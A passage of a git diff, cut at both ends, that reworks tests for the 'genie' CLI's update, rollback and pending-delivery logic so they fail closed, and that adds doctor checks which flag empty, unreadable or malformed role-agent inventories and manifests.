pending.payload.binary, - beforePromote: (replacementPath) => writeFileSync(replacementPath, 'SUBSTITUTED_NEW_BINARY'), - }), - ).toThrow('journaled payload fingerprint immediately before promotion'); - expect(readFileSync(targetBin, 'utf8')).toBe('AUTHENTIC_OLD_BINARY'); - expect(readFileSync(stagedBin, 'utf8')).toBe('AUTHENTIC_NEW_BINARY'); - expect(readFileSync(join(previousDir, 'genie-5.260711.6'), 'utf8')).toBe('AUTHENTIC_OLD_BINARY'); - expect(existsSync(journal)).toBe(true); - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); - - test('normal delivery authenticates the canonical target after promotion', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-swap-post-promote-race-')); +describe('rollbackBinary (G5)', () => { + test('fails closed without mutating a legacy binary-only backup', () => { + const root = mkdtempSync(join(tmpdir(), 'genie-rollback-read-only-')); + const bin = join(root, 'bin'); + const previous = join(bin, '.previous'); + mkdirSync(previous, { recursive: true }); + writeFileSync(join(bin, 'genie'), 'LIVE'); + writeFileSync(join(bin, 'VERSION'), '5.260714.3\n'); + writeFileSync(join(previous, 'genie-5.260714.2'), 'LEGACY'); + const before = readdirSync(previous); try { - const bin = join(tmp, 'bin'); - const staging = join(bin, '.staging'); - const extract = join(staging, 'extract-5.260711.7'); - const stagedBin = join(extract, 'genie'); - const targetBin = join(bin, 'genie'); - const tarball = join(staging, 'genie.tar.gz'); - const journal = join(tmp, '.pending-delivery.json'); - const previousDir = join(bin, '.previous'); - mkdirSync(extract, { recursive: true }); - writeFileSync(stagedBin, 'AUTHENTIC_NEW_BINARY'); - writeFileSync(targetBin, 'AUTHENTIC_OLD_BINARY'); - writeFileSync(tarball, 'verified tarball'); - chmodSync(stagedBin, 0o755); - chmodSync(targetBin, 0o755); - const pending = recordPendingDelivery( - { - version: '5.260711.7', - previousVersion: '5.260711.6', - previousBinaryPath: targetBin, - extractDir: extract, - tarballPath: tarball, - }, - journal, - staging, - ); - - expect(() => - atomicBinarySwap(stagedBin, targetBin, previousDir, '5.260711.6', { - preserveSource: true, - expectedPreimage: pending.payload.previousBinary, - expectedPayloadFingerprint: pending.payload.binary, - afterPromote: (targetPath) => writeFileSync(targetPath, 'SUBSTITUTED_LIVE_BINARY'), - }), - ).toThrow('journaled payload fingerprint after promotion'); - expect(readFileSync(targetBin, 'utf8')).toBe('SUBSTITUTED_LIVE_BINARY'); - expect(readFileSync(stagedBin, 'utf8')).toBe('AUTHENTIC_NEW_BINARY'); - expect(readFileSync(join(previousDir, 'genie-5.260711.6'), 'utf8')).toBe('AUTHENTIC_OLD_BINARY'); - expect(existsSync(journal)).toBe(true); + expect(() => rollbackBinaryAt(bin)).toThrow(/exact genie\+VERSION generation/); + expect(readFileSync(join(bin, 'genie'), 'utf8')).toBe('LIVE'); + expect(readFileSync(join(bin, 'VERSION'), 'utf8')).toBe('5.260714.3\n'); + expect(readdirSync(previous)).toEqual(before); } finally { - rmSync(tmp, { recursive: true, force: true }); + rmSync(root, { recursive: true, force: true }); } }); }); -describe('rollbackBinary (G5)', () => { - // rollbackBinary reads from `~/.genie/bin/.previous` directly via the - // module-level GENIE_HOME constant. We override GENIE_HOME via env BEFORE - // re-importing so the test sees a temp directory. The single import at the - // top of this file already captured the real GENIE_HOME; therefore these - // tests run against the real ~/.genie path. To keep them hermetic we create - // a backup, run rollback, then assert + clean up. If a real .previous - // directory exists with newer entries the test would conflict; gate the - // tests behind an explicit env so CI runs them and dev workstations can - // skip when needed. - const SHOULD_RUN = - process.env.GENIE_TEST_RUN_ROLLBACK === '1' || - !existsSync(join(process.env.HOME ?? '', '.genie', 'bin', '.previous')); - - test.skipIf(!SHOULD_RUN)('throws when no .previous directory exists', () => { - // Best-effort: only assert when the directory is genuinely absent. - const previousDir = join(process.env.HOME ?? '', '.genie', 'bin', '.previous'); - if (existsSync(previousDir)) return; - expect(() => rollbackBinary()).toThrow(/No rollback target/); - }); -}); - // ============================================================================ // Diagnostics schema lock (G5: bumped 2 → 3). // ============================================================================ @@ -1702,42 +1319,23 @@ describe('Plugin sync — .orphaned_at filter (skills regression 2026-05-06)', ( // Pinning the bug fixes so a future regression can't slip them back in. // ============================================================================ -describe('atomicBinarySwap canonical-path safety', () => { - test('promotes a complete target-directory replacement with one rename-over-live', () => { +describe('update install-promotion authority', () => { + test('normal delivery delegates the exact release generation to the proven installer engine', () => { const source = readFileSync(join(__dirname, '..', 'update.ts'), 'utf-8'); - const fnStart = source.indexOf('export function atomicBinarySwap'); - const fnEnd = source.indexOf('\nexport function ', fnStart + 1); - const body = source.slice(fnStart, fnEnd === -1 ? undefined : fnEnd); - expect(body).toContain('.genie-replacement-'); - expect(body).toContain('fsyncFile(replacementPath)'); - expect(body).toContain('renameSync(replacementPath, targetBinPath)'); - expect(body).not.toContain('rmSync(targetBinPath'); - expect(body).not.toContain('renameSync(targetBinPath'); + expect(source).toContain('createPrivateUpdateTempRoot()'); + expect(source).toContain('admitExternalInstallStaging({'); + expect(source).not.toContain("mkdtempSync(join(GENIE_BIN, '.install-staging-'))"); + expect(source).toContain('recoverPendingInstallPromotions({ genieHome: GENIE_HOME })'); + expect(source).toContain('promoteStagedInstall({'); + expect(source).toContain('syncAuxiliaryContent(GENIE_BIN, GENIE_HOME, undefined, true)'); + expect(source).not.toContain('export function atomicBinarySwap'); }); - test('backs up by copy so the old canonical path remains live before promotion', () => { - const source = readFileSync(join(__dirname, '..', 'update.ts'), 'utf-8'); - const fnStart = source.indexOf('export function atomicBinarySwap'); - const fnEnd = source.indexOf('\nexport function ', fnStart + 1); - const body = source.slice(fnStart, fnEnd === -1 ? undefined : fnEnd); - expect(body).toContain('copyFileSync(targetBinPath, backupStaging'); - expect(body).toContain('renameSync(backupStaging, oldBackup)'); - expect(body).not.toContain('renameSync(targetBinPath, oldBackup)'); - }); -}); - -describe('fsyncSync import (review fix #1)', () => { - test('fsyncSync is in the named imports list, not loaded via require()', () => { + test('legacy pending delivery and rollback are production fail-closed', () => { const source = readFileSync(join(__dirname, '..', 'update.ts'), 'utf-8'); - // Match the node:fs import block. - const importBlockMatch = source.match(/from\s+'node:fs';/); - expect(importBlockMatch).not.toBeNull(); - const blockEnd = source.indexOf("from 'node:fs';"); - const blockStart = source.lastIndexOf('import {', blockEnd); - const block = source.slice(blockStart, blockEnd); - expect(block).toContain('fsyncSync'); - // Belt + suspenders: make sure no `require('node:fs').fsyncSync` lurks. - expect(source).not.toContain("require('node:fs').fsyncSync"); + expect(source).toContain('legacy pending delivery is retained read-only'); + expect(source).toContain('Automatic rollback is disabled'); + expect(source).not.toContain('atomicBinarySwap('); }); }); @@ -1882,7 +1480,7 @@ describe('auxiliary VERSION and extraction finalization gate', () => { }); }); -describe('durable pending delivery recovery', () => { +describe('legacy pending delivery compatibility', () => { test('incremental hashing matches SHA-256 across multiple fixed-size reads', () => { const root = mkdtempSync(join(tmpdir(), 'genie-incremental-hash-')); const path = join(root, 'payload'); @@ -1904,312 +1502,80 @@ describe('durable pending delivery recovery', () => { expect(() => resolveUpdateExecutionMode({ rollback: true, syncOnly: true }, undefined)).toThrow( '--rollback and --sync-only cannot be used together', ); - for (const options of [ - { postDeliveryConverge: true, rollback: true }, - { postDeliveryConverge: true, syncOnly: true }, - { postDeliveryConverge: true, stable: true }, - { postDeliveryConverge: true, verify: false }, - ]) { - expect(() => resolveUpdateExecutionMode(options, undefined)).toThrow( - '--post-delivery-converge cannot be combined', - ); - } - expect(() => resolveUpdateExecutionMode({ postDeliveryConverge: true }, '1')).toThrow( - '--post-delivery-converge cannot be combined', - ); }); - test('rollback quarantine atomically removes a pending journal from the recovery path', () => { - const root = mkdtempSync(join(tmpdir(), 'genie-pending-cancel-')); - const journal = join(root, '.pending-delivery.json'); - writeFileSync(journal, '{"schemaVersion":2}\n', { mode: 0o600 }); + test('an absent legacy journal is a read-only no-op', () => { + const root = mkdtempSync(join(tmpdir(), 'genie-pending-absent-')); try { - const quarantined = quarantinePendingDelivery(journal); - expect(quarantined).not.toBeNull(); - expect(existsSync(journal)).toBe(false); - expect(quarantined && existsSync(quarantined)).toBe(true); - expect(quarantinePendingDelivery(journal)).toBeNull(); - } finally { - rmSync(root, { recursive: true, force: true }); - } - }); - - test('resumes local auxiliary convergence before clearing the journal', () => { - const root = mkdtempSync(join(tmpdir(), 'genie-pending-delivery-')); - const home = join(root, 'home'); - const staging = join(home, 'bin', '.staging'); - const extract = join(staging, 'extract-5.260711.7'); - const tarball = join(staging, 'genie.tar.gz'); - const journal = join(home, '.pending-delivery.json'); - mkdirSync(join(extract, 'plugins', 'genie'), { recursive: true }); - writeFileSync(join(extract, 'genie'), 'verified binary'); - writeFileSync(join(extract, 'plugins', 'genie', 'payload.txt'), 'fresh'); - writeFileSync(tarball, 'verified'); - try { - recordPendingDelivery({ version: '5.260711.7', extractDir: extract, tarballPath: tarball }, journal, staging); - let binaryChecks = 0; expect( resumePendingDelivery({ - genieHome: home, - stagingRoot: staging, - pendingPath: journal, - ensureBinary: () => { - binaryChecks += 1; - }, + genieHome: root, + genieBin: join(root, 'bin'), + stagingRoot: join(root, 'bin', '.staging'), + pendingPath: join(root, '.pending-delivery.json'), }), - ).toBe(true); - expect(binaryChecks).toBe(1); - expect(readFileSync(join(home, 'plugins', 'genie', 'payload.txt'), 'utf8')).toBe('fresh'); - expect(readFileSync(join(home, 'VERSION'), 'utf8')).toBe('5.260711.7\n'); - expect(existsSync(journal)).toBe(false); - expect(resumePendingDelivery({ genieHome: home, stagingRoot: staging, pendingPath: journal })).toBe(false); + ).toBe(false); } finally { rmSync(root, { recursive: true, force: true }); } }); - test('successful pending-delivery recovery prunes older backups for the recorded previous version', () => { - const root = mkdtempSync(join(tmpdir(), 'genie-pending-prune-')); - const home = join(root, 'home'); - const staging = join(home, 'bin', '.staging'); - const extract = join(staging, 'extract-5.260711.7'); - const tarball = join(staging, 'genie.tar.gz'); - const journal = join(home, '.pending-delivery.json'); - const previous = join(home, 'bin', '.previous'); - mkdirSync(join(extract, 'plugins', 'genie'), { recursive: true }); - mkdirSync(previous, { recursive: true }); - writeFileSync(join(extract, 'genie'), 'verified binary'); - writeFileSync(join(extract, 'plugins', 'genie', 'payload.txt'), 'fresh'); - writeFileSync(tarball, 'verified'); - const older = join(previous, 'genie-5.260711.6'); - const retained = join(previous, 'genie-5.260711.6.retry'); - writeFileSync(older, 'older rollback'); - writeFileSync(retained, 'new rollback'); - utimesSync(older, 1, 1); - utimesSync(retained, 2, 2); - try { - recordPendingDelivery( - { - version: '5.260711.7', - previousVersion: '5.260711.6', - extractDir: extract, - tarballPath: tarball, - }, - journal, - staging, - ); - expect( - resumePendingDelivery({ - genieHome: home, - stagingRoot: staging, - pendingPath: journal, - ensureBinary: () => undefined, - }), - ).toBe(true); - expect(existsSync(older)).toBe(false); - expect(readFileSync(retained, 'utf8')).toBe('new rollback'); - } finally { - rmSync(root, { recursive: true, force: true }); - } - }); - - test('a crash after binary swap but before VERSION stamping repairs metadata without swapping new over new', () => { - const root = mkdtempSync(join(tmpdir(), 'genie-pending-post-swap-crash-')); + test('a valid present legacy journal fails closed without changing live, auxiliary, or journal bytes', () => { + const root = mkdtempSync(join(tmpdir(), 'genie-pending-read-only-')); const home = join(root, 'home'); const bin = join(home, 'bin'); const staging = join(bin, '.staging'); - const extract = join(staging, 'extract-5.260711.7'); + const extract = join(staging, 'extract-5.260714.4'); const tarball = join(staging, 'genie.tar.gz'); const journal = join(home, '.pending-delivery.json'); - const target = join(bin, 'genie'); - const previous = join(bin, '.previous'); + mkdirSync(join(home, 'plugins'), { recursive: true }); mkdirSync(extract, { recursive: true }); - mkdirSync(bin, { recursive: true }); - writeFileSync(target, 'authentic old binary'); - writeFileSync(join(bin, 'VERSION'), '5.260711.6\n'); - writeFileSync(join(extract, 'genie'), 'verified new binary'); - writeFileSync(join(extract, 'VERSION'), '5.260711.7\n'); - writeFileSync(tarball, 'verified tarball'); - chmodSync(target, 0o755); - chmodSync(join(extract, 'genie'), 0o755); - try { - const pending = recordPendingDelivery( - { - version: '5.260711.7', - previousVersion: '5.260711.6', - previousBinaryPath: target, - extractDir: extract, - tarballPath: tarball, - }, - journal, - staging, - ); - const firstSwap = atomicBinarySwap(join(extract, 'genie'), target, previous, '5.260711.6', { - preserveSource: true, - expectedPreimage: pending.payload.previousBinary, - expectedPayloadFingerprint: pending.payload.binary, - }); - expect(firstSwap.oldVersionBackup).not.toBeNull(); - const authenticBackup = firstSwap.oldVersionBackup as string; - const decoy = join(previous, 'genie-5.260711.6.newer-decoy'); - writeFileSync(decoy, 'verified new binary'); - chmodSync(decoy, 0o755); - utimesSync(authenticBackup, 1, 1); - utimesSync(decoy, 2, 2); - - expect( - resumePendingDelivery({ - genieHome: home, - genieBin: bin, - stagingRoot: staging, - pendingPath: journal, - runVersion: () => `genie ${readFileSync(join(bin, 'VERSION'), 'utf8')}`, - }), - ).toBe(true); - - expect(readFileSync(target, 'utf8')).toBe('verified new binary'); - expect(readFileSync(join(bin, 'VERSION'), 'utf8')).toBe('5.260711.7\n'); - expect(readFileSync(authenticBackup, 'utf8')).toBe('authentic old binary'); - expect(readFileSync(decoy, 'utf8')).toBe('verified new binary'); - expect(readdirSync(previous).filter((name) => name.startsWith('genie-5.260711.6'))).toHaveLength(2); - } finally { - rmSync(root, { recursive: true, force: true }); - } - }); - - test('schema-v4 already-new recovery retains its journal without an authenticated prior backup', () => { - for (const backupState of ['missing', 'mismatched'] as const) { - const root = mkdtempSync(join(tmpdir(), `genie-pending-already-new-${backupState}-`)); - const home = join(root, 'home'); - const bin = join(home, 'bin'); - const staging = join(bin, '.staging'); - const extract = join(staging, 'extract-5.260711.7'); - const tarball = join(staging, 'genie.tar.gz'); - const journal = join(home, '.pending-delivery.json'); - const target = join(bin, 'genie'); - const previous = join(bin, '.previous'); - mkdirSync(extract, { recursive: true }); - writeFileSync(target, 'AUTHENTIC_OLD_BINARY'); - writeFileSync(join(bin, 'VERSION'), '5.260711.6\n'); - writeFileSync(join(extract, 'genie'), 'AUTHENTIC_NEW_BINARY'); - writeFileSync(join(extract, 'VERSION'), '5.260711.7\n'); - writeFileSync(tarball, 'verified tarball'); - chmodSync(target, 0o755); - chmodSync(join(extract, 'genie'), 0o755); - try { - recordPendingDelivery( - { - version: '5.260711.7', - previousVersion: '5.260711.6', - previousBinaryPath: target, - extractDir: extract, - tarballPath: tarball, - }, - journal, - staging, - ); - writeFileSync(target, 'AUTHENTIC_NEW_BINARY'); - chmodSync(target, 0o755); - if (backupState === 'mismatched') { - mkdirSync(previous, { recursive: true }); - writeFileSync(join(previous, 'genie-5.260711.6'), 'UNAUTHENTICATED_BACKUP'); - chmodSync(join(previous, 'genie-5.260711.6'), 0o755); - } - - expect(() => - resumePendingDelivery({ - genieHome: home, - genieBin: bin, - stagingRoot: staging, - pendingPath: journal, - }), - ).toThrow('no authenticated rollback backup matches the journaled preimage'); - expect(readFileSync(join(bin, 'VERSION'), 'utf8')).toBe('5.260711.6\n'); - expect(existsSync(journal)).toBe(true); - } finally { - rmSync(root, { recursive: true, force: true }); - } - } - }); - - test('a failed resume retains the verified journal and succeeds on a normal retry', () => { - const root = mkdtempSync(join(tmpdir(), 'genie-pending-retry-')); - const home = join(root, 'home'); - const staging = join(home, 'bin', '.staging'); - const extract = join(staging, 'extract-5.260711.7'); - const tarball = join(staging, 'genie.tar.gz'); - const journal = join(home, '.pending-delivery.json'); - mkdirSync(join(extract, 'plugins', 'genie'), { recursive: true }); - writeFileSync(join(extract, 'genie'), 'verified binary'); - writeFileSync(join(extract, 'plugins', 'genie', 'payload.txt'), 'fresh'); - writeFileSync(tarball, 'verified'); - recordPendingDelivery({ version: '5.260711.7', extractDir: extract, tarballPath: tarball }, journal, staging); + writeFileSync(join(bin, 'genie'), 'LIVE_BINARY'); + writeFileSync(join(bin, 'VERSION'), '5.260714.3\n'); + writeFileSync(join(home, 'plugins', 'live.txt'), 'LIVE_AUX'); + writeFileSync(join(extract, 'genie'), 'STAGED_BINARY'); + writeFileSync(join(extract, 'VERSION'), '5.260714.4\n'); + writeFileSync(tarball, 'SIGNED_TARBALL'); + const fingerprint = (path: string) => ({ + sha256: createHash('sha256').update(readFileSync(path)).digest('hex'), + mode: statSync(path).mode & 0o7777, + }); + const payload = { + binary: fingerprint(join(extract, 'genie')), + previousBinary: { present: true, fingerprint: fingerprint(join(bin, 'genie')) }, + versionStamp: { present: true, fingerprint: fingerprint(join(extract, 'VERSION')) }, + tarball: fingerprint(tarball), + auxiliary: ['plugins', 'skills', 'templates', '.agents', '.claude-plugin'].map((name) => ({ + name, + present: false, + digest: null, + })), + }; + writeFileSync( + journal, + `${JSON.stringify({ + schemaVersion: 4, + version: '5.260714.4', + previousVersion: '5.260714.3', + extractDir: extract, + tarballPath: tarball, + createdAt: '2026-07-15T00:00:00.000Z', + payload, + })}\n`, + { mode: 0o600 }, + ); + const paths = [join(bin, 'genie'), join(bin, 'VERSION'), join(home, 'plugins', 'live.txt'), journal]; + const before = paths.map((path) => readFileSync(path)); try { expect(() => - resumePendingDelivery({ - genieHome: home, - stagingRoot: staging, - pendingPath: journal, - ensureBinary: () => undefined, - operations: { - rename() { - throw new Error('promotion unavailable'); - }, - }, - }), - ).toThrow('auxiliary payload convergence failed'); - expect(existsSync(journal)).toBe(true); - expect( - resumePendingDelivery({ - genieHome: home, - stagingRoot: staging, - pendingPath: journal, - ensureBinary: () => undefined, - }), - ).toBe(true); - expect(existsSync(journal)).toBe(false); + resumePendingDelivery({ genieHome: home, genieBin: bin, stagingRoot: staging, pendingPath: journal }), + ).toThrow(/retained read-only/); + expect(paths.map((path) => readFileSync(path))).toEqual(before); } finally { rmSync(root, { recursive: true, force: true }); } }); - - test('rejects binary and auxiliary tampering before any live mutation', () => { - for (const tamper of ['binary', 'auxiliary'] as const) { - const root = mkdtempSync(join(tmpdir(), `genie-pending-tamper-${tamper}-`)); - const home = join(root, 'home'); - const staging = join(home, 'bin', '.staging'); - const extract = join(staging, 'extract-5.260711.7'); - const tarball = join(staging, 'genie.tar.gz'); - const journal = join(home, '.pending-delivery.json'); - mkdirSync(join(extract, 'plugins', 'genie'), { recursive: true }); - writeFileSync(join(extract, 'genie'), 'verified binary'); - writeFileSync(join(extract, 'plugins', 'genie', 'payload.txt'), 'verified auxiliary'); - writeFileSync(tarball, 'verified tarball'); - try { - recordPendingDelivery({ version: '5.260711.7', extractDir: extract, tarballPath: tarball }, journal, staging); - if (tamper === 'binary') writeFileSync(join(extract, 'genie'), 'substituted binary'); - else writeFileSync(join(extract, 'plugins', 'genie', 'payload.txt'), 'substituted auxiliary'); - let binaryChecks = 0; - expect(() => - resumePendingDelivery({ - genieHome: home, - stagingRoot: staging, - pendingPath: journal, - ensureBinary: () => { - binaryChecks += 1; - }, - }), - ).toThrow('pending delivery payload fingerprint mismatch'); - expect(binaryChecks).toBe(0); - expect(existsSync(join(home, 'plugins'))).toBe(false); - expect(existsSync(journal)).toBe(true); - } finally { - rmSync(root, { recursive: true, force: true }); - } - } - }); }); - describe('ensureCanonicalInstall + resolveLiveBinaryPath (review fix #3)', () => { test('resolveLiveBinaryPath returns null or a string (which-genie probe)', () => { // Smoke test: the function must not throw on any host. If genie isn't on @@ -2349,106 +1715,6 @@ describe('verifySwappedBinary (post-swap correctness guard)', () => { }); }); -describe('syncBinaryVersionStamp (binary-sibling VERSION file)', () => { - // The compiled binary reads `dirname(process.execPath)/VERSION` at startup - // (src/lib/version.ts). The atomic swap replaces `genie` but leaves the - // sibling VERSION stamp untouched — so without this sync, the new binary - // reports the OLD version until something else rewrites the stamp. These - // tests pin the contract so a future "simplification" can't remove it. - - test('copies VERSION from extractDir → binDir when the tarball ships one', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-stamp-')); - try { - const extractDir = join(tmp, 'extract'); - const binDir = join(tmp, 'bin'); - mkdirSync(extractDir, { recursive: true }); - mkdirSync(binDir, { recursive: true }); - writeFileSync(join(extractDir, 'VERSION'), '4.260522.3\n'); - // Pre-existing stale stamp the swap left behind: - writeFileSync(join(binDir, 'VERSION'), '4.260520.3\n'); - - syncBinaryVersionStamp(extractDir, binDir, '4.260522.3'); - - expect(readFileSync(join(binDir, 'VERSION'), 'utf-8').trim()).toBe('4.260522.3'); - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); - - test('falls back to writing manifestVersion when tarball is missing VERSION', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-stamp-')); - try { - const extractDir = join(tmp, 'extract'); - const binDir = join(tmp, 'bin'); - mkdirSync(extractDir, { recursive: true }); - mkdirSync(binDir, { recursive: true }); - // No VERSION file in extractDir — simulates an older build that - // pre-dates the G1 stamp convention. - writeFileSync(join(binDir, 'VERSION'), '4.260520.3\n'); - - syncBinaryVersionStamp(extractDir, binDir, '4.260522.3'); - - expect(readFileSync(join(binDir, 'VERSION'), 'utf-8').trim()).toBe('4.260522.3'); - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); - - test('first install (binDir has no prior VERSION) — creates the stamp', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-stamp-')); - try { - const extractDir = join(tmp, 'extract'); - const binDir = join(tmp, 'bin'); - mkdirSync(extractDir, { recursive: true }); - mkdirSync(binDir, { recursive: true }); - writeFileSync(join(extractDir, 'VERSION'), '4.260522.3\n'); - - syncBinaryVersionStamp(extractDir, binDir, '4.260522.3'); - - expect(existsSync(join(binDir, 'VERSION'))).toBe(true); - expect(readFileSync(join(binDir, 'VERSION'), 'utf-8').trim()).toBe('4.260522.3'); - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); - - test('preserves the tarball stamp byte-for-byte (no normalisation)', () => { - // The G1 build pipeline may include build metadata (`+sha`) or trailing - // newlines we don't want to silently strip. Copy verbatim. - const tmp = mkdtempSync(join(tmpdir(), 'genie-stamp-')); - try { - const extractDir = join(tmp, 'extract'); - const binDir = join(tmp, 'bin'); - mkdirSync(extractDir, { recursive: true }); - mkdirSync(binDir, { recursive: true }); - const exotic = '4.260522.3+abc1234\n'; - writeFileSync(join(extractDir, 'VERSION'), exotic); - - syncBinaryVersionStamp(extractDir, binDir, '4.260522.3'); - - expect(readFileSync(join(binDir, 'VERSION'), 'utf-8')).toBe(exotic); - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); - - test('swallows fs errors (best-effort; verifySwappedBinary catches mismatch)', () => { - // Pass an extractDir that exists but a binDir that doesn't — copy will - // fail, write fallback will also fail. Should not throw. - const tmp = mkdtempSync(join(tmpdir(), 'genie-stamp-')); - try { - const extractDir = join(tmp, 'extract'); - const binDir = join(tmp, 'nonexistent', 'bin'); - mkdirSync(extractDir, { recursive: true }); - writeFileSync(join(extractDir, 'VERSION'), '4.260522.3\n'); - - expect(() => syncBinaryVersionStamp(extractDir, binDir, '4.260522.3')).not.toThrow(); - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); -}); - describe('shouldEmitPathDivergenceWarning (self-symlink suppression)', () => { const canonical = '/home/genie/.genie/bin/genie'; diff --git a/src/genie-commands/doctor.test.ts b/src/genie-commands/doctor.test.ts index ec1c1df0c..41cf1feec 100644 --- a/src/genie-commands/doctor.test.ts +++ b/src/genie-commands/doctor.test.ts @@ -9,6 +9,7 @@ import { mkdtempSync, readFileSync, readdirSync, + realpathSync, rmSync, statSync, symlinkSync, @@ -290,7 +291,9 @@ describe('Codex doctor lifecycle results', () => { const linked = join(root, 'linked'); execFileSync('git', ['worktree', 'add', '-q', '-b', 'doctor-linked', linked], { cwd: repo }); const roots = resolveGitProjectRoots(linked); - expect(roots).toEqual({ worktreeRoot: linked, commonRoot: repo }); + if (roots === null) throw new Error('linked worktree roots were not resolved'); + expect(realpathSync(roots.worktreeRoot)).toBe(realpathSync(linked)); + expect(realpathSync(roots.commonRoot)).toBe(realpathSync(repo)); reconcileCodexProjectMcp( linked, { cliAvailable: true, status: 'ok', installed: true, enabled: false, usable: false, detail: 'disabled' }, @@ -1254,7 +1257,7 @@ describe('checkAgentSync — claude role agents', () => { const entries = Object.fromEntries( Object.entries(files).map(([name, e]) => [ name, - { digest: e.digest, version: e.version ?? '1', syncedAt: e.syncedAt ?? '2026-01-01T00:00:00.000Z' }, + { digest: e.digest, version: e.version ?? '5.0.0', syncedAt: e.syncedAt ?? '2026-01-01T00:00:00.000Z' }, ]), ); writeFileSync( @@ -1284,6 +1287,46 @@ describe('checkAgentSync — claude role agents', () => { rmSync(tmp, { recursive: true, force: true }); }); + test('an empty canonical source inventory warns instead of reporting an empty set healthy', () => { + const check = find(checkAgentSync(paths()), ROLE_CHECK); + + expect(check?.status).toBe('warn'); + expect(check?.detail).toContain('source role-agent inventory is empty'); + expect(check?.roleAgents?.sourceIssues).toEqual([ + `source role-agent inventory is empty at ${join(pluginRoot, 'agents')}`, + ]); + expect(check?.roleAgents?.files).toEqual([]); + }); + + test('a source inventory enumeration error is preserved in the warning', () => { + writeFileSync(join(pluginRoot, 'agents'), 'not a directory', 'utf8'); + + const check = find(checkAgentSync(paths()), ROLE_CHECK); + + expect(check?.status).toBe('warn'); + expect(check?.detail).toContain('cannot enumerate source role agents'); + expect(check?.roleAgents?.sourceIssues).toHaveLength(1); + expect(check?.roleAgents?.sourceIssues[0]).toContain(join(pluginRoot, 'agents')); + expect(check?.roleAgents?.files).toEqual([]); + }); + + test('an unreadable source agent is not silently omitted from a healthy result', () => { + writeSourceAgent('scout', '# scout\n'); + const sourcePath = join(pluginRoot, 'agents', 'scout.md'); + chmodSync(sourcePath, 0o000); + try { + const check = find(checkAgentSync(paths()), ROLE_CHECK); + + expect(check?.status).toBe('warn'); + expect(check?.detail).toContain('cannot read source role agent scout.md'); + expect(check?.roleAgents?.sourceIssues).toHaveLength(1); + expect(check?.roleAgents?.sourceIssues[0]).toContain('scout.md'); + expect(check?.roleAgents?.files).toEqual([]); + } finally { + chmodSync(sourcePath, 0o600); + } + }); + test('hand-copy (no manifest) reports present-unmanaged, NOT healthy genie-managed', () => { // The 2026-07-11 false-PASS discriminator: files present + agents surface, // but no stamp → doctor must NOT call it genie-managed-current. @@ -1329,6 +1372,16 @@ describe('checkAgentSync — claude role agents', () => { expect(stateMap(check)['fixer.md']).toBe('missing-from-target'); }); + test('manifest-owned entry absent from both source and target remains visible as missing', () => { + writeAgentManifest({ 'retired.md': { digest: 'a'.repeat(64) } }); + + const check = find(checkAgentSync(paths()), ROLE_CHECK); + expect(check?.status).toBe('warn'); + expect(check?.detail).toContain('missing-from-target'); + expect(check?.roleAgents?.manifestStatus).toBe('managed'); + expect(stateMap(check)['retired.md']).toBe('missing-from-target'); + }); + test('a user-authored agent (not in source, unmanaged) is never reported', () => { writeSourceAgent('scout', '# scout\n'); writeTargetAgent('scout', '# scout\n'); @@ -1353,6 +1406,33 @@ describe('checkAgentSync — claude role agents', () => { expect(check?.detail).toContain('manifest unusable'); }); + test('a malformed Genie-owned manifest is unsafe rather than foreign', () => { + writeSourceAgent('scout', '# scout\n'); + writeTargetAgent('scout', '# scout\n'); + writeAgentManifest({ 'scout.md': { digest: 'not-a-sha256' } }); + + const check = find(checkAgentSync(paths()), ROLE_CHECK); + + expect(check?.status).toBe('warn'); + expect(check?.roleAgents?.manifestStatus).toBe('unsafe'); + expect(check?.roleAgents?.manifestReason).toContain('claims Genie ownership'); + expect(check?.detail).toContain('manifest unusable'); + }); + + test('a truncated ownership manifest is unsafe rather than unproven foreign state', () => { + writeSourceAgent('scout', '# scout\n'); + writeTargetAgent('scout', '# scout\n'); + mkdirSync(agentsDir, { recursive: true }); + writeFileSync(join(agentsDir, '.genie-sync.json'), '{"managedBy":"genie-agent-sync","files":{', 'utf8'); + + const check = find(checkAgentSync(paths()), ROLE_CHECK); + + expect(check?.status).toBe('warn'); + expect(check?.roleAgents?.manifestStatus).toBe('unsafe'); + expect(check?.roleAgents?.manifestReason).toContain('invalid JSON'); + expect(check?.detail).toContain('manifest unusable'); + }); + test('plugin enabled → duplicate-surface warning + duplicateSurface flag true', () => { writeSourceAgent('scout', '# scout\n'); writeTargetAgent('scout', '# scout\n'); diff --git a/src/genie-commands/doctor.ts b/src/genie-commands/doctor.ts index 279e29504..3b7015689 100644 --- a/src/genie-commands/doctor.ts +++ b/src/genie-commands/doctor.ts @@ -102,6 +102,8 @@ export interface RoleAgentDelivery { manifestStatus: 'managed' | 'foreign' | 'absent' | 'unsafe'; /** Present only when `manifestStatus === 'unsafe'`. */ manifestReason?: string; + /** Source-inventory failures that make a seemingly empty/current delivery untrustworthy. */ + sourceIssues: string[]; /** One entry per source role agent (and any managed manifest entry), name-sorted. */ files: Array<{ name: string; state: RoleAgentFileState }>; /** True when the `genie@automagik` plugin is ALSO enabled — plugin `genie:*` and fanned bare names both surface. */ @@ -845,17 +847,38 @@ function councilStampState(councilPath: string, pluginRoot: string): { stale: bo // SINGLE shared dir-level manifest (Group A), so this classifier is per-FILE. // ============================================================================ -/** Digest of each flat source role agent under `/agents`; unreadable files are skipped. */ -function sourceAgentDigests(pluginRoot: string): Map { +interface SourceAgentDigests { + digests: Map; + issues: string[]; +} + +function diagnosticError(error: unknown): string { + return error instanceof Error ? error.message : String(error); +} + +/** Digest each flat source role agent without discarding enumeration/read failures. */ +function sourceAgentDigests(pluginRoot: string): SourceAgentDigests { const digests = new Map(); - for (const agent of enumerateSourceAgentFiles(pluginRoot)) { + const issues: string[] = []; + const agentsRoot = join(pluginRoot, 'agents'); + let agents: ReturnType; + try { + agents = enumerateSourceAgentFiles(pluginRoot); + } catch (error) { + return { + digests, + issues: [`cannot enumerate source role agents at ${agentsRoot}: ${diagnosticError(error)}`], + }; + } + if (agents.length === 0) issues.push(`source role-agent inventory is empty at ${agentsRoot}`); + 